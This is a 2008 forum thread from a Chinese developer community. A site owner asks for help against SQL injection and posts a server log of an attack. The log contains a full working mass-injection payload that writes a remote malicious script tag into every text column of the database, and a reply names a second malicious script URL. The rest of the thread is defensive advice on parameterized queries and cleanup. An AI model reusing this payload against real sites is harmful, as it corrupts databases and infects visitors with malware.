Global.asax.cs防注入问题

bauhaus1928 2008-05-13 03:11:37
有谁能帮我写一个防注入的Global.asax.cs文件啊?
最好能尽可能多的过滤掉一些常用的SQL注入
谢谢!

顺便帮我看下这次攻击是利用了什么漏洞?
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 218.246.32.206 Mozilla/4.0 302 0 0
...全文
2073 36 打赏 收藏 转发到动态 举报
写回复
用AI写文章
36 条回复
切换为时间正序
请发表友善的回复…
发表回复
zhuJustice 2011-12-26
  • 打赏
  • 举报
回复
很好,学习了
ShenWong 2010-12-23
  • 打赏
  • 举报
回复
用存储过程吧
快乐的2 2009-07-30
  • 打赏
  • 举报
回复
[Quote=引用 19 楼 youbl 的回复:]
楼上各位的防注入是不是太过了?

连select等等都防住了?
那如果用户就是要输入select等单词呢?

一直以来我的代码里都是只替换单引号为2个单引号就OK了
或者干脆用Parameter的方式,连单引号替换都省掉了。

没必要处理别的单词吧。

就象csdn,没有处理你们的这些个数据库单词吧。
[/Quote]
我也是这么做的,只过滤单引号,其余内容都用单引号包上,是数字的参数则在构造SQL语句之前由字符串转换成数字。
linyefeilyft 2008-06-03
  • 打赏
  • 举报
回复
全改成存储过程吧
wagod 2008-06-02
  • 打赏
  • 举报
回复
强烈建议直接采用 Parameter方式查询,或者直接写存储过程,这种方式本身就是防止sql注入的

另外,采用参数化查询,能够提高数据库查询效率,你的每条sql语句执行查询的时候,都会在数据库缓存,如果是拼凑的sql语句,数据库认为每次输入都是不一样的,缓存的几率要小于参数化查询的缓存几率
pq808 2008-06-02
  • 打赏
  • 举报
回复
用参数化查询吧
comszsoft 2008-06-02
  • 打赏
  • 举报
回复
[Quote=引用楼主 bauhaus1928 的帖子:]
有谁能帮我写一个防注入的Global.asax.cs文件啊?
最好能尽可能多的过滤掉一些常用的SQL注入
谢谢!

顺便帮我看下这次攻击是利用了什么漏洞?
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xT…
[/Quote]
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr
----
楼主读数据库的语句是拼出来的?改用存储过程安全些,读帖子内容的时候只传参数id,就不会出这个问题了
无心雨云 2008-05-31
  • 打赏
  • 举报
回复
天哪
怎么又被攻擊了
test33 2008-05-31
  • 打赏
  • 举报
回复
强!!!
收藏了

值得学习!!!
lawbc 2008-05-31
  • 打赏
  • 举报
回复
你只要过滤掉declare和cast关键字就行了
TakiCN 2008-05-31
  • 打赏
  • 举报
回复
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''</title><script src=</title><script src=http://%6b%6b%36%2e%75%73/1.js></script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

用这个方法可以替换掉varchar类型的数据,在sql2000有效,另外可以将varchar改成char
同时也可以使用数据日志恢复数据库到被攻击前的某一个点
游北亮 2008-05-30
  • 打赏
  • 举报
回复
另,我这个说明:只替换单引号,只是在更新时或where里的=语句时使用

如果where里还用了like,还要处理 _ % 等通配符
如果没有用like,那么只要处理单引号就好。



[Quote=引用 19 楼 youbl 的回复:]
楼上各位的防注入是不是太过了?

连select等等都防住了?
那如果用户就是要输入select等单词呢?

一直以来我的代码里都是只替换单引号为2个单引号就OK了
或者干脆用Parameter的方式,连单引号替换都省掉了。

没必要处理别的单词吧。

就象csdn,没有处理你们的这些个数据库单词吧。
[/Quote]
winner2050 2008-05-30
  • 打赏
  • 举报
回复
-_-! 病急乱投医.
wangdetian168 2008-05-30
  • 打赏
  • 举报
回复
够黑用游标遍历数据库表
wangdetian168 2008-05-30
  • 打赏
  • 举报
回复
数据库应该做什么处理呢
yxjwang 2008-05-30
  • 打赏
  • 举报
回复
关注
超级大笨狼 2008-05-30
  • 打赏
  • 举报
回复
mark
lfywy 2008-05-29
  • 打赏
  • 举报
回复
关注+学习!mark!
胡矣 2008-05-29
  • 打赏
  • 举报
回复
http://edu.136z.com/DataBase/6082.html
胡矣 2008-05-29
  • 打赏
  • 举报
回复
上面数据库啊?
加载更多回复(16)

62,041

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧